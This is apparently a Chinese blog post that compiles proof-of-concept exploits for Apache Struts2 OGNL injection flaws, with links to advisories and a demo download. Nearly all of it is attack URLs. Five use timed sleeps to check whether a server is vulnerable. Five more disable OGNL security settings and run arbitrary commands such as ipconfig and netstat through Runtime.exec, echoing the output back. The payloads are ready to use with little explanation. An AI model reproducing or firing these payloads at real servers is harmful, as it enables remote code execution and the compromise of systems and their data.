struts安全漏洞

struts2安全漏洞

http://netsecurity.51cto.com/art/201305/395081.htm

 

http://zone.wooyun.org/content/3880

 

http://www.freebuf.com/vuls/9757.html

 

演示DEMO下载：

http://pan.baidu.com/share/link?shareid=495946&uk=1076602916


利用代码：

检测是否存在：

POC1:



http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))



POC2:



http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'



POC3:

http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true



POC4：



http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]



POC5（执行了两次所以是10秒）：



http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}





执行CMD命令：



关于回显：webStr\75new\40byte[100] 修改为合适的长度。



POC1:



http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig



POC2:



http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig



POC3:



http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set  



POC4:



http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an



POC5：



http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set

发几张图证明下：










相关：

http://ahack.iteye.com/blog/1858871
http://ahack.iteye.com/blog/1873005